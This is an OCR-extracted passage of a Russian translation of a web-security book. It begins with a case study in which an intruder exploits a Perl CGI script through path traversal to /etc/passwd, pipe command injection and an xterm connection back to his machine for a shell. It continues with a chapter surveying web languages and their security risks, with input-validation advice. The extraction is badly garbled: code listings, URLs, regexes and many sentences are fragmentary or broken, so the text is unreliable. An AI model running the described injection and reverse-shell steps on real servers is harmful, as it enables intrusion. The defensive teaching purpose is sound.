в качестве параметра получает имя файла и отображает его содер
жимое. Поэтому в качестве параметра он передает имя
и добивается ото
бражения
кода этого файла. Более пристальное знакомство с кодом Perl,
содержащимся в файле
позволяет обнаружить другие изъяны.
I сценарий Perl для отображения страницы, заданной параметром
require
=
eq{
=
}
03:
04:
05:
07:
08:
09:
10:
11:
12:
13: print
14:
15:
16: open(FILE, $filename);
17:
{
18:
print $ ;
19:}
20:
24
Часть I
to
к
by the
ftS/atSPjiisriipa);
(
!
Получен исходный код файла
cgi
Одним из недостатков является неудовлетворительная проверка параметров, которые
передаются сценарию
Переданное в качестве параметра имя файла из адреса
URL сохраняется в переменной $fi l e n a m e в строке 08, а затем присоединяется к абсо
лютному пути
в строке 15. Сам файл открывается в строке 16.
ftp.x
Взломщик получил файл
с сервера ком
пании Acme Art
Будни электронной коммерции
5
Как только взломщик обнаружил этот изъян, ему сразу стало ясно, что с Web
сервера можно получить любой файл. Как видно из следующей записи системного
файла (Group (e)), именно это он и сделал.
[31/0ct/2001:03:06:21 +0530] "GET
HTTP/1.0" 200 723
Взломщик воспользовался броузером для передачи запроса
В ответ на этот запрос в бро
узере отображается полное содержимое файла /etc/passwd, как показано на рис. 4.
Но это еще не все. Существует еще один недостаток. Используя ограниченные
знания Unix и Perl, взломщик может выполнить на Web сервере произвольные ко
манды. Следующие два запроса (Group иллюстрируют эту возможность:
10.0.1.21
[31/0ct/2001:03:07:01 +0530] "GET
HTTP/1.0" 200 1228
10.0.1.21
+0530] "GET
HTTP/1.0" 200
.
31
boot
Кот 5
toot root
с 1:12 etc
2!
4096
lib
2 reo« root
4
191625
2 том root 4095 23 1999
root
5
9
5
roo:
20
2
1
5
5
4
40*5
21
19
4036
Рис. 5. Результат выполнения команд
id u which
Взломщик не пытается открыть произвольный файл, а использует в запросе сим
вол конвейера (|) и конкретную последовательность команд. Тогда вместо открытия
реального файла интерпретатор Perl создает дескриптор файла и связывает его с дан
ными, сгенерированными с помощью команд, указанных в параметре запроса. Пер
вый из двух последних запросов взломщика имеет следующий вид:
Взломщик воспользовался сразу тремя командами Unix:
la /
id
which
26
Часть I
Обратите внимание на использование конвейера в качестве значения параметра
раде=. Команды отделяются друг от друга
символом ОА перевода
строки. На рис. 5 показано содержимое окна броузера на компьютере взломщика.
На экране отображается список файлов корневого каталога сервера, полученный с
помощью команды
la /, эффективный пользовательский идентификатор процес
са, запустившего сценарий
полученный с использованием команды id, и
путь к программе
предоставленный командой which
Теперь взломщик
может запускать любые команды на Web сервере с правами учетной записи nobody.
Когда ему надоело выполнять одиночные команды, он решил воспользоваться
программой xterm для получения интерактивного доступа к оболочке Web сервера.
Последний запрос, обработанный Web сервером, был связан с попыткой установки
с помощью утилиты xterm обратного соединения с компьютером
Для
этого использовался следующий запрос:
cgi?page=|
Команда, указанная в адресе URL, преобразуется к виду xterm display
В результате ее выполнения создается терминальное окно xterm, которое
отображается на экране взломщика по адресу
(рис. 6).
Рис. 6. Запуск утилиты xterm и получение интерак
тивного доступа к командной оболочке
Теперь взломщик имеет полный интерактивный доступ к системе компании Acme
Art, Inc. Далее не будет рассматриваться системный журнал, однако то, что необходи
мо, мы изучили. Несмотря на аудит безопасности, брандмауэры, жесткую политику
управления паролями и т.д., взломщик получил доступ к Web серверу, воспользовав
шись тривиальными оплошностями разработчиков и уязвимостью конструкций URL
к атакам с использованием одного лишь протокола HTTP.
Будни электронной коммерции
27
ГЛАВА 1
;
На
1. Город или место наслаждений и чувственности, а зачастую поро
ков и разложения.
2. Место пленения или изгнания.
3. Город, в котором отрицается духовность, а чувственные насла
ждения становятся превыше всего.
Введение
Жители Вавилона были известны введением денежного обращения и различны
ми гедонистическими авантюрами. Однако, в отличие от других цивилизаций, су
ществовавших в те времена, они разговаривали на одном языке. Это позволило им
создать замечательные сооружения, в частности одно из семи чудес света --- висячие
сады Семирамиды.
Однако согласно Библии языковое единство послужило также причиной гибели
Вавилона. В своем высокомерии его жители пытались построить башню до
чтобы стать равными Богу. Но Господь рассердился и сделал так, чтобы все заговори
ли на разных языках. В результате вавилоняне не могли больше общаться друг с дру
гом, строительство башни прекратилось, а достигнуть небес так и не удалось. С тех
пор эта башня называется Вавилонской, а слово "Вавилон" стало синонимом беспо
рядка. Это в точности соответствует тому, чем стала Internet и всемирная паутина
Web --- империей беспорядка и ненужных языков, каждый из которых может внести
свой вклад в ее падение.
В 1995 году повсеместное распространение Web выглядело не более чем мечтой, а
языки программирования и технологии Web напоминали детские игры. В результате
хакеры просто не интересовались проникновением на Web узлы. Однако в настоящее
время картина изменилась и единичные успешные реализации сменились большим
многообразием языков и технологий, готовых для применения хакерами. И они еже
дневно "ощипывают" ничего не подозревающих граждан, компании, организации или
правительственные учреждения. Сегодня в обстановке непрекращающегося
роризма остается только одно: "послать вора для поимки вора". Поэтому отбросьте
любые предвзятые представления об обеспечении безопасности. Без понимания пра
вил игры придется просто плыть по течению.
В этой главе не содержится подробного описания языков программирования для
Web. Ее основная цель заключается в представлении Web программистам и специали
стам по безопасности языков, используемых в настоящее время, функциональных
возможностей, синтаксиса и потенциальных рисков, связанных с применением этих
языков. Для усвоения материала последующих глав нужно понять концепции, кото
рые описываются в более ранних главах. Читайте не спеша, при необходимости пере
читывайте один и тот же материал повторно и не волнуйтесь, если за содержанием не
удается уследить сразу. Скорее всего, это произойдет постепенно в процессе чтения.
Языки Web
Для того чтобы два компьютера могли "общаться" друг с другом, они должны быть
правильно запрограммированы и "говорить" на одном языке. Существует множество
популярных языков Web, и каждый из них имеет свои преимущества и недостатки.
С одной стороны, легкий и простой в изучении язык HTML является, возможно,
наилучшим выбором. Он имеет простой стиль и основывается лишь на нескольких
сложных концепциях. С другой стороны, если нужно обеспечить интерактивность,
динамическое обновление данных и сложное графическое отображение информации,
лучше воспользоваться языком Java. Однако в любом случае для понимания способа
взаимодействия Web сервера с клиентским броузером (а следовательно, для нахожде
ния уязвимых мест в реализации этого процесса) необходимо иметь представление об
основных технологиях.
В этой главе обсуждаются наиболее популярные языки Web. Это далеко не исчерпы
вающий список, но его вполне достаточно для того, чтобы разобраться с основными
концепциями, положенными в основу большинства подобных языков программирования.
Глава Языки программирования для Web: Вавилон XXI столетия
29
Рассматриваемые ниже языки являются основой большинства технологий, формирую
щих инфраструктуру Web. Поэтому познакомиться с ними чрезвычайно важно.
HTML
Расширения файлов:
Язык гипертекстовой разметки HTML
Markup Language) предложен
Тимом Бернерсом Ли (Tim
в 1989 году и является фундаментом Inter
net. Почти на каждом существующем Web узле HTML используется для отображе
ния текста, графических объектов, воспроизведения звуков и анимации. Соответст
вующая спецификация поддерживается консорциумом W3C (World Wide Web Con
sortium, http://www.w3.org).
Хотя HTML и является относительно новым, он основывается на более старом
языке разметки SGML (Standard Generalized Markup Language). Предпосылки разви
тия HTML возникли на десять лет раньше, когда Билл
(Bill Atkinson) изо
брел гиперкарту для компьютеров Macintosh и операционной системы MacOS. Она
обладала свойством, положенным позднее в основу HTML. Для этой карты использо
валась гиперсвязь слова или области страницы с другой областью или страницей. Это
очень простая концепция, однако ранее она на практике широко не применялась.
В языке HTML определен набор дескрипторов, с помощью которых можно уста
новить способ отображения элементов, передаваемых броузеру. Уже давно не является
секретом тот факт, что простые и кажущиеся безобидными элементы HTML можно
использовать для получения неавторизованного доступа к Web серверам. В табл.
приведен список дескрипторов HTML и указано их влияние на безопасность.
При использовании других дескрипторов HTML также может возникнуть риск на
рушения безопасности. Однако приведенный в табл.
список является хорошей от
правной точкой для понимания проблем безопасности, связанных с использованием
HTML. Полный список дескрипторов HTML и описание их применения содержится
в спецификации HTML 4.01 консорциума W3C, которую можно найти по адресу:
http://www.w3c.org/TR/html401/.
Советы по обеспечению максимальной платформенной независимости Web
узла предоставляются соответствующей интерактивной службой W3C (HTML
Validation Service,
Для получения аналогичной информа
ции можно также воспользоваться программой HTML Tidy Дэйва Раджета (Dave
Raggett,
Таблица Атрибуты дескрипторов HTML и их влияние на безопасность
Дескриптор/атрибут Влияние на безопасность
orm>
Форма для пользовательского ввода
Всякий раз, когда программе передается введенная пользователем информа
ция, возникает риск нарушения безопасности. Именно таким образом и выпол
няется большинство атак: программе передаются неожиданные символы, при
водящие к ее неправильной работе
action>
Атрибут action
Этот атрибут дескриптора orm> определяет программу, выполняемую на
Web сервере. Зная имя программы, обрабатывающей пользовательские дан
ные, взломщик может получить важную информацию о
а также
найти резервные копии или старые версии этой программы в том же или в дру
гом каталоге
30
Часть I. Будни электронной коммерции
Продолжение табл.
Дескриптор/атрибут Влияние на безопасность
<form
<script language=
<input>
type=hidden>
<input
<input size=
<applet>
Атрибут method
Этот атрибут дескриптора <f orm> определяет механизм передачи пользователь
ской информации программе обработки, находящейся на Web сервере. Сущест
вует два метода передачи информации: POST и Определив используемый
метод, взломщик может прослушивать информацию
может оказаться
очень важной) или, что еще хуже, выполнить ее подмену и привести к генерации
неверных результатов. Методы GET и POST будут обсуждаться в главе 3
Язык сценария
Дескриптор <script>, используемый вместе с атрибутом language, позволяет
взломщику изменять любые клиентские сценарии, передаваемые броузеру. Если
взломщику удастся это осуществить, то он сможет обойти определенные сцена
рии, выполняющие фильтрацию или проверку передаваемых значений. К языкам
клиентских сценариев относятся следующие:
JavaScript;
VBScript;
• Jscript;
•XML
Управляющий элемент формы
Дескриптор <input> позволяет создавать управляющие элементы формы для
ввода данных. Можно изменить некоторые атрибуты и передать нежелательные
данные на Web сервер
Атрибутtype
Этот атрибут со значением hidden позволяет взломщику задать для атрибута
value нежелательное значение. Например, на некоторых Web узлах скрытый ат
рибут используется для хранения цены товара из торговой тележки. Взломщик
может вручную изменить цену этого товара. Если на сервере не выполняется
проверка значения цены, то в интерактивном магазине можно будет покупать то
вары по существенно сниженным ценам
Атрибут maxlength
Изменив атрибут maxlength, взломщик сможет передавать на сервер длинные
строки, что приведет к его блокировке, если отсутствует механизм предвари
тельной обработки входных данных
Атрибут size
Как и maxlength, этот атрибут взломщик может изменить. При этом появится
возможность передачи на сервер длинных строк, которые при отсутствии их
предварительной обработки приведут к блокировке сервера
Java
Этот дескриптор используется для запуска аплетов Поскольку аплет пере
дается в незашифрованном виде и в нем содержится хорошо известный байт
код, в сетевом трафике его можно обнаружить с помощью анализатора пакетов
типа snort или EtherPeek. Для получения более подробной информации о де
компиляции аплетов Java и использовании дескриптора <applet> читайте раз
дел, посвященный Java, ниже в этой главе
Глава Языки программирования для Web: Вавилон XXI столетия
Окончание табл.
Дескриптор/атрибут Влияние на безопасность
<object>
Обычно этот дескриптор используется для запуска управляющих элементов Ac
tiveX, но может применяться также и для аплетов Java. Взломщик может отпра
вить электронное сообщение с внедренным кодом
"заставить" пользова
теля запустить элемент управления ActiveX и захватить управление системой.
Элемент <object> является наилучшим способом распространения почтовых
вирусов
Этот дескриптор обычно используется совместно с дескриптором
и
предназначен для работы с элементами управления ActiveX и дополнительными
модулями Netscape
Динамический HTML (DHTML)
Расширения файлов:
Язык DHTML зачастую рассматривается как объектная версия HTML. Этот язык
расширяет HTML и предоставляет новый уровень управления элементами страницы,
обеспечивая доступ к ним и возможность модификации с использованием таких язы
ков сценариев, как JavaScript или VBScript. Например, в дескрипторе графического
изображения
можно указать обработчик события
который будет ак
тивизироваться при перемещении указателя мыши над картинкой. Одним словом,
DHTML позволяет разработчику Web приложений быстро создавать анимационные и
другие эффекты, использовать текст с анимацией или динамическое изменение цвета.
В аспекте обеспечения
DHTML порождает те же проблемы, что и
HTML, поскольку базируется на нем.
XML
Расширения файлов:
Как и HTML, расширяемый язык разметки XML (extensible Markup Language) то
же основан на стандартном обобщенном языке разметки SGML. Но, в отличие от
своего строго определенного и стандартизованного собрата, он менее ограничен.
В нем можно определять собственные дескрипторы и тем самым самостоятельно рас
ширять язык.
Основой такого расширения являются документы DTD (Document Type Definition),
которые по своему функциональному назначению подобны библиотеке определения
структуры информации реляционной базы данных. Документ DTD определяет на
чальный и конечный дескрипторы файла XML и обеспечивает поддержку семантики
данных. Например, для определения структуры данных, используемой дилером по
продаже автомобилей, можно задать следующее определение DTD:
Inventory
ELEMENT Car ( Make, Model, Color,
Make
Model
<!ELEMENT Color
ELEMENT Owner
Файл XML с данными может иметь следующий вид:
?>
<!DOCTYPE Inventory PUBLIC
>
32
Часть I. Будни электронной коммерции
.
<Inventory>
<Car>
<Color>Red</Color>
</Car>
<Car>
</Car>
</Inventory>
В
коде представлено содержимое склада небольшого автомобильного
агентства. В наборе данных указано всего два автомобиля --- Honda Civic красного
цвета и Nissan Maxima черного цвета. Обратите внимание, что у автомобиля Civic два
владельца. В спецификации DTD допускается определять множество владельцев. Для
этого рядом с именем Owner нужно указать символ звездочки (*).
Car ( Make, Model, Color,
Приведенный пример дает общее представление о XML. Этот язык является еще
достаточно новым, поэтому сейчас нет смысла упоминать о связанных с его использова
нием проблемах обеспечения безопасности. Однако следует быть готовым к решению
поскольку хакеры уже начинают проявлять к нему определенный интерес.
XHTML
Расширение файлов:
Согласно материалам консорциума W3C, HTML 4 является финальной версией
известного и широко распространенного языка. Следующая версия HTML будет пе
реформулирована и расширена за счет включения определения и структуры XML.
Другими словами, эти два языка будут объединены в XHTML, и
продолжает
управлять
соответствующих стандартов. Полную спецификацию XHTML
1.1можнонайтипоадресу:http://www.w3c.org/TR/xhtmlll/.Каки
язык XHTML
находится на начальном этапе своего развития. Поэтому степень его защищенности
еще не подвергалась скрупулезной проверке.
Perl
Расширения файлов: или любое
Этот высокоуровневый язык программирования (часто называемый языком сценари
ев) в 1987 году был создан Ларри Волом (Larry Wall). настоящее время Perl (Practical
Extraction and Report Language) является наиболее переносимым языком сценариев, ко
торый можно использовать в системах AS/400, Windows
OS/2, Novell
Netware, на компьютерах компании IBM
суперкомпьютерах Cray, Digital VMS,
от компании Hewlett Packard, в системах Linux, Tandem, MacOS и всех версиях
Unix. Переносимость Perl, его низкая стоимость (он распространяется бесплатно) и ро
способствовали его широкому применению в Internet. Это послужило одной
из наиболее
причин взрывного разрастания всемирной сети.
Язык Perl чрезвычайно устойчив и гибок. Его можно использовать для выполнения
серверных операций, реализации клиентских сценариев или создания автономных
Глава Языки программирования для Web: Вавилон XXI столетия
33
приложений, например универсального диспетчера списков рассылки. Однако основ
ное назначение Perl состоит в управлении серверными сценариями Web узлов. Вместе
с тем безопасность никогда не являлась отличительным свойством этого языка. В ре
зультате для Web узлов, на которых используется Perl, свойственны различные изъя
ны подсистемы обеспечения безопасности. Правда, при этом имеется несколько путей
снижения риска нарушения безопасности.
Программный код на языке Perl может быть как очень простым, так и крайне
сложным. Для более близкого знакомства с этим языком рассмотрим сценарий, кото
рый можно запустить из командной строки для вывода на экран сообщения "We love
(мы любим Perl). Из всех возможных путей решения этой задачи представлен
один из наиболее простых вариантов.
Сценарий Perl, предназначенный для
и
его на
I
=
print
Рассмотрим отдельно каждую строку.
=
Здесь параметры, заданные в командной строке, помещаются в массив
$msg =
В этой строке переменной
присваивается значение, содержащееся в элементе
массива
print
В этой строке содержимое переменной $msg выводится на экран. При этом к нему
добавляется восклицательный знак и символ перевода строки. При запуске програм
мы из командной строки на экране отображается следующая информация:
love perl.pl "We love Perl"
We love Perl!
В приведенном примере интерпретатор Perl запускается в локальной системе, а
сценарий --- из командной строки. Однако в Web такой подход используется чрезвы
чайно редко, поскольку при выполнении большинства сценариев Perl в качестве ме
ханизма взаимодействия с Web броузером используется интерфейс CGI (Common
Gateway Interface --- интерфейс общего шлюза).
Как правило, язык Perl используется для обработки данных, введенных пользова
телем в полях формы. В качестве примера рассмотрим форму, в поля HTML
и
<textarea> которой пользователь может вводить данные.
<form method=POST
Email Address:
<input
size=60
Your
<textarea
cols=50
</html>
Затем введенная информация передается Perl программе (т.е. mailto.pl) с помо
щью метода POST, указанного в дескрипторе orm>.
34
Часть I. Будни электронной коммерции
После этого сценарий raailto.pl выполняет необходимые действия и возвращает
сгенерированные данные обратно броузеру. Чрезвычайно ясная и простая процедура.
Если вы уже используете
в качестве языка серверных сценариев или только
планируете это осуществить, учитывайте ряд рисков нарушения безопасности и соот
ветствующие контрмеры.
• Удостоверьтесь, что Web серверы не запускаются с административными
привилегиями, т.е. с правами учетной записи root (Unix) или Ad ministrator
(Windows). В противном случае существует опасность выполнения взломщиком
команд с высокими привилегиями.
• Всегда выполняйте предварительную обработку значений полей. Определите
для приложения список допустимых алфавитно цифровых символов, а затем
отфильтровывайте любые символы, не принадлежащие этому набору. Напри
мер, если существует поле, предназначенное для ввода адреса электронной поч
ты, то для выявления некорректной информации можно воспользоваться шаб
лоном регулярного выражения. Это позволит выявить ошибку и сообщить
пользователю о необходимости корректировки входных данных. В любом элек
тронном адресе допустимы следующие символы:
0 9, только один сим
вол дефис ( ), символ подчеркивания (_) и точка (.). Ниже приведено про
стое выражение, позволяющее выявить опасный замысел, в рамках которого
используется поле для ввода
If
print
в вашем электронном адресе
обнаружена ошибка. Введите данные еще
}else{
оставшейся части сценария Perl
Если этот фрагмент кода с регулярным выражением вам ничего не говорит, то
его можно расшифровать следующим образом:
/
регулярного выражения
начало строки
[
начало списка символов
алфавитно цифровой символ (включая
точку
черточку или дефис
]
списка символов
+
1 или больше символов из предыдущего списка
символу
[
начало списка символов
буквенно цифровой символ (включая
точку
черточку или дефис
]
списка символов
+
1 больше символов из предыдущего списка
$
конец строки
/
регулярного выражения
Если условие !", задаваемое в выражении Perl, не выполняется, то сценарием
возвращается сообщение об ошибке и пользователю придется исправить вве
денную информацию.
• Ограничьте использование локальных команд операционной системы. При пе
редаче параметров функции
или
могут оказаться
"смертельными", поскольку позволяют взломщику выполнять команды. Если
Глава Языки программирования для Web: Вавилон XXI столетия
35
эти функции использовать все же необходимо, обязательно проверяйте входные
переменные, как упоминалось выше.
• В системах Unix не стоит использовать значения переменных окружения. Вместо
этого задавайте значения переменных $РАТН и $IFS только в файлах сценариев.
=
Если вы не осуществляете явное управление этими переменными, взломщик
сможет изменить их значения и заставить программу выполнить другую коман
ду, а не ту, которая планировалась.
• Проверяйте размер входных переменных или данных, введенных в поля фор
мы. Для этого необходимо
длину переменных, передаваемых
в программу, либо использовать поле
для ограничения
размера данных, передаваемых в запросах POST (а иногда и
Если этого не
сделать, взломщик сможет отправить в переменной большое количество данных
и привести к краху Web сервера, системы или, что еще хуже, добиться пере
полнения буфера и удаленно выполнить произвольные команды.
• Попробуйте отказаться от приема пути из полей формы. По крайней мере
убедитесь, что путь является относительным, а не абсолютным. Кроме того,
отслеживайте символы точки (. .) или прямой/обратной косой черты (/ или \).
В противном случае взломщик сможет сгенерировать запрос на получение фай
ла паролей системы Unix
или запрос на получение резервной копии файла SAM системы Windows
• По возможности используйте проверку допустимости используемых значений
переменных.
• По умолчанию сценарии Perl хранятся в виде незашифрованного текста. Поэтому
после взлома Web сервера можно прочитать файлы Perl и извлечь из них различ
ную информацию, например имена пользователей и пароли для доступа к базе
данных. Несколько программ, например
(http://www.perl2exe.com),
позволяют скрыть код Perl. При их использовании создается независимый
исполняемый файл
из за чего становятся ненужными исходный код
Perl и интерпретатор.
Вообще, защита сценариев Perl имеет решающее значение, поэтому найдите или
разработайте самостоятельно хорошую функцию анализа входных данных и приме
няйте ее для проверки значения каждого поля пользовательской формы. Для получе
ния более подробной информации о защите сценариев Perl обращайтесь по адресу:
PHP
'
•
•
Расширения файлов: .php,
либо без расширения
Хотя у языка РНР было несколько авторов, истоки его развития заложил Расмус
Лердорф (Rasmus
В 1995 году он разработал первый синтаксический анализа
тор РНР, который, по существу, представлял собой
на языке Perl.
Расмус назвал ее персональной домашней страницей (Personal Home Page) или просто
РНР. Эта программа была создана для регистрации посетителей его страницы резюме
в Web. Позже программа была полностью переписана на языке С и стала гораздо
больше. В ней были улучшены возможности синтаксического анализа и добавлены
36
Часть I. Будни электронной коммерции
средства доступа к базам данных. За прошедшие годы в развитие языка РНР внесли
вклад другие программисты, в том числе Зив
(Zeev
и Энди Гут
мане (Andy Gutmans), которые переработали модуль синтаксического анализа и соз
дали РНР версии 3.
За исключением страниц ASP и сценариев Perl, PHP является одним из наиболее
распространенных языков серверных сценариев. Язык РНР чрезвычайно разносто
ронний и может применяться для создания приложений, не связанных с Web. Тем
не менее этот язык наиболее часто используется на Web серверах системы Unix
(например, Apache; http://www.apache.org) как средство реализации серверной подсис
темы обработки данных. Фактически, это наиболее часто используемый модуль
Apache
В име
нах файлов РНР могут использоваться произвольные расширения, однако, как прави
ло, применяются следующие:
•
•
Для начального знакомства с кодом РНР рассмотрим фрагмент, в котором команда
РНР echo используется для вывода строки "Hello World!" в пользовательском Web
броузере.
Пример
PBF в коде
Выводит строку "РНР Example: Hello World 1" в броузере
PHP
<?php
echo "<br><hl>Hello World
?>
Обратите внимание: язык РНР очень напоминает Perl. Строки 1 и 2 представляют
собой комментарии HTML, о чем говорят дескрипторы
В строке 3 содержится по
следовательность дескрипторов HTML
<head> и <title>. В строках 4, 5 и 6 содер
жится код РНР. Он начинается в строке 4, на что указывает открывающая угловая скоб
ка (<?). В строке 5 приведен код РНР, предназначенный для вывода на экран строки
"Hello
В строке 6 содержится закрывающая скобка
соответствующая от
крывающей скобке строки 4. В следующем примере содержится простой код РНР, после
анализа которого можно легко выявить используемые на Web узле технологии.
<?
SQL
=
or
or
// SQL запрос
$data =
*
or
// Печать данных в
print
while ($row •
fetch row
{ print
print
print
print
}print
// Закрытие соединения SQL
mysql
Глава Языки программирования для Web: Вавилон XXI столетия
Примечательно то, что языкам РНР и Perl присущи схожие недостатки. Если в сце
нарии обрабатываются входные данные, переданные из Web броузера для генерации за
проса к базе данных, вызовы
passthry(), shellexec(), exec() или включения
SSI, то взломщик может воспользоваться слабой проверкой значений переменных и за
ставить модуль РНР выполнить непредусмотренные действия, в том числе произволь
ные команды. Чтобы ограничить потенциально опасное воздействие, не забудьте вклю
чить в состав программ синтаксического анализа процедуры жесткой проверки входных
данных. Как и при использовании Perl, в коде РНР можно (и нужно) использовать ре
гулярные выражения для выявления злонамеренной информации в полях ввода и при
необходимости генерировать сообщения об ошибке. В следующем фрагменте кода
функция preg_match(
для сравнения значения $string с регулярным выра
жением. Эту функцию можно использовать для анализа значения числового поля.
if
echo
ошибка в
return
break;
Следующий фрагмент может оказаться полезным для анализа строкового поля:
if
return
break;
Дополнительную информацию о РНР и соответствующие программные модули
можно получить по адресу:
ColdFusion
Расширения файлов:
Это система разработки Web приложений от компании
Ее самой новой версией является ColdFusion 5. В состав этой системы входит три ос
новных компонента: сервер приложений (Application Server), язык разметки (Markup
Language) и интегрированная среда разработки (Studio). Для повышения уровня защи
ты от взлома нужно разобраться с основными принципами функционирования каж
дого из этих компонентов.
Сервер приложений ColdFusion
Сервер приложений --- это ядро системы ColdFusion. Его можно использовать как
на платформе Windows, так и Unix. Сервер приложений запускается на Web сервере и
обрабатывает запросы страниц ColdFusion. Любой дескриптор ColdFusion перехваты
вается и обрабатывается сервером приложений.
Язык разметки ColdFusion
ColdFusion (ColdFusion Markup Language --- CFML) является серверным языком,
который и составляет мощь ColdFusion. В языке CFML используются соглашения
HTML по использованию дескрипторов и передаче параметров в качестве их атри
бутов. CFML используется совместно с сервером приложений для создания таких
Web приложений, как виртуальные торговые тележки, интерактивные банковские
счета и т.д. Сервер приложений распознает расширение
Подобно файлам РНР и файлы CFM по умолчанию хранятся в виде неза
шифрованного текста. Это означает, что любой человек с соответствующими правами,
в том числе полученными несанкционированно, может просматривать эти файлы.
38
Часть I. Будни электронной коммерции
В этом случае взломщик может завладеть конфиденциальной информацией, например
именами пользователей и паролями, и получить доступ ко всем пользовательским дан
ным (например, номерам кредитных карточек, кодам социального страхования и др.).
Код CFM похож на HTML тем, что в нем также используются дескрипторы, пре
доставляющие разнообразные возможности, например подключение к базе данных,
поддержку протоколов POP (Post Office Protocol) и SMTP (Simple Mail Transfer Proto
col), а также поддержку объектной модели компонентов COM (Component Object
Model). Кроме того, существуют дополнительные модули от сторонних производите
лей, которые предоставляют дополнительные функции. Например, для выполнения
запроса SELECT к базе данных можно использовать следующий фрагмент кода CFM:
auto_id, auto make, auto model, auto color
FROM autos WHERE auto id =
Обратите внимание, что дескриптор
имеет атрибут DATASOURCE, в котором
задается используемый в запросе источник данных ODBC. Атрибут NAME используется
для дополнительной настройки соединения ODBC. Имея общее представление о
структуре запроса, взломщик может попытаться реализовать атаку на базу данных,
сгенерировав нестандартный запрос. Например, переменная
используется
для передачи автоматически сгенерированного идентификационного номера, указан
ного в адресе URL (для получения более подробной информации о командах GET и
POST обратитесь к главе 3). При использовании следующего адреса URL будет сгене
рирован запрос к базе данных с параметром auto_id, принимающим значение 1:
id=l
Как будет неоднократно отмечаться на протяжении всей книги, при отсутствии
проверки корректности данных в серверной части приложения взломщик может пере
дать на сервер любые данные.
Для отображения информации, полученной в результате обработки предыдущего
запроса SQL, нужно воспользоваться массивом automobiles.
Поскольку в рассматриваемом примере информация содержится в базе данных
inv ento ry, сгенерированный в качестве результата обработки запроса код HTML будет
иметь следующий вид:
Automobile Inventory
Honda, Civic, Red, (1)
Honda, Accord, Blue, (2)
Nissan, Sentra, Black
Обратите внимание, что данные, генерируемые с использованием дескриптора
<CFOUTPUT>, почти всегда представляют собой код HTML. В данном случае слово
"почти" означает, что всегда существует возможность обмана сервера приложений и
получения исходного кода CFML. Однако это скорее исключение, чем правило.
ColdFusion Studio
Это интегрированная среда разработки (Integrated Development Environment --- IDE),
предназначенная для создания Web страниц и приложений.
Глава Языки программирования для Web: Вавилон XXI столетия
39
При совместном использовании компоненты ColdFusion Application Server, Markup
Language и Studio создают идеальные условия для организации взлома. При этом ос
новные проблемы связаны с файлами примеров и отсутствием проверки входных дан
ных. Многие атаки на серверы ColdFusion, о которых сообщалось ранее, оказались
успешными из за непрофессионально написанных примеров сценариев, которые по
зволяли взломщикам загружать файлы, просматривать содержимое файлов и исход
ный код, управлять Web службами и выполнять произвольные команды. Для решения
всех этих проблем просто стоит удалить входящие в комплект поставки сценарии и
всегда выполнять проверку значений полей ввода.
Страницы ASP
Расширения файлов:
Активные серверные страницы ASP (Active Server Pages) являются технологией
создания серверных сценариев, разработанной компанией Microsoft. В основном они
предназначены для использования на Web сервере IIS (Internet Information Server)
этой компании и в целях создания динамического содержимого Web узла позволяют
совместно использовать код HTML, сценарии и серверные компоненты ActiveX. Как
и при использовании Perl, PHP и CFM, язык ASP позволяет выполнять код на самом
Web сервере. При этом конечному пользователю не требуется никаких дополнитель
ных знаний. ASP напоминает другие языки серверных сценариев, которые рассматри
вались выше, и позволяет генерировать запросы к базе данных, а также выполнять
команды локальной системы.
По умолчанию в качестве языка ASP используется VBScript, который представляет
собой версию популярного языка Visual Basic, предназначенную для написания сце
нариев. Он используется почти во всех программных продуктах компании Microsoft.
Язык VBScript менее надежен, чем его предшественник, но предоставляет необходи
мые средства для создания динамических Web страниц.
Существует две базовые версии языка Visual Basic: для разработки серверных сценариев
и клиентских сценариев. На страницах ASP серверные фрагменты кода обрамляются деск
рипторами
и *>, а в коде HTML клиентские сценарии размещаются между дескрипто
рами
Например, если необходимо, чтобы сервер IIS на Web странице вывел те
кущую дату и время, можно воспользоваться следующим фрагментом кода:
to server side date:</hl>
=dateto server side
</body>
</html>
Рассмотрим приведенный фрагмент подробнее. Первый дескриптор,
является
сокращенной версией обязательного дескриптора <script
runat=
который позволяет указать тип используемого серверного языка. Самой
главной частью представленного кода ASP является строка =date
которая сооб
щает серверу о том, что необходимо запустить функцию VBScript
и передать
полученный результат клиенту. Результат работы отображается в окне клиентского
Web броузера, как показано на рис.
Не забывайте о том, что весь рассматриваемый фрагмент кода находится на сервере.
Для того чтобы в клиентской части приложения можно было выполнить те же дейст
вия, нужно использовать следующий фрагмент кода:
40
Часть I. Будни электронной коммерции
<html>
<body>
to client side date:
& date() &
to client side time:
& time() &
</script>
</body>
Welcome to server side date:
And to server side time:
3:00:03
Рис. 1.1.
использования функции
языка
Стоит отметить, что в клиентском сценарии нельзя применять дескриптор или
атрибут runat дескриптора <script>. Вместо этого для вывода даты и времени на экран
нужно использовать специальные функции VBScript
и
соответственно).
Недостатком Web приложений, в которых применяются клиентские сценарии, явля
ется возможность использования этих сценариев для достижения злонамеренных це
лей. Скоро вы узнаете, как это осуществить.
Взаимодействие с базами данных
При использовании технологии ASP обращение к базам данных выполняется не
так тривиально, как с помощью средств ColdFusion. Однако в общих чертах все же
следует разобраться с тем, как это происходит. Во первых, информация о соединении
очень важна в аспекте безопасности, поскольку в ней содержатся имена источников
данных (Data Source Names --- DSN), пользовательские имена и пароли для доступа к
данным. Во вторых, важные данные могут содержаться либо в самом файле ASP, либо
в файле
Строка
Приведенный ниже фрагмент кода демонстрирует, как устанавливается соединение
с базой данных.
<object
</object>
language = VBScript
Глава Языки программирования для Web: Вавилон XXI столетия
41
<body>
=
Script"
SQL = "Select *
Autos WHERE
SetRS=
Do While Not
<table bordercolor=dlack border=2>
<tr>
<td>
</tdxtd>
</td><td>
</td><td>
<br>
Loop
</tr>
</table>
</body>
</html>
Из строки Session
видно, что имя источника
имя
пользователя и пароль в виде незашифрованного текста хранятся в самом
Если взломщику каким то образом удастся получить доступ к этому файлу или заста
вить Web сервер передать соответствующий исходный код, он
прямой доступ
к базе данных. Результаты работы приведенного выше кода будут отражены в окне
броузера, как показано на рис. 1.2.
л
Рис. 1.2. Информация из базы данных автомобилей, получен
ная с помощью файла
42
Часть I. Будни электронной коммерции
При использовании второго сценария взаимодействия с базой данных размещать в
файле ASP строку с информацией о соединении в текстовом виде уже не требуется. В
этом случае вызовы функций переносятся в общий файл
который должен
размещаться в корневом каталоге приложения ASP (т.е.
или
c:\inetpub\scripts). Как правило, для того чтобы внесенные в файл
изме
нения вступили в силу, требуется перезагрузить Web сервер.
В файле
содержатся объявления объектов, переменных и методов, ис
пользуемых во многих сценариях Web броузера, включая сценарии JavaScript,
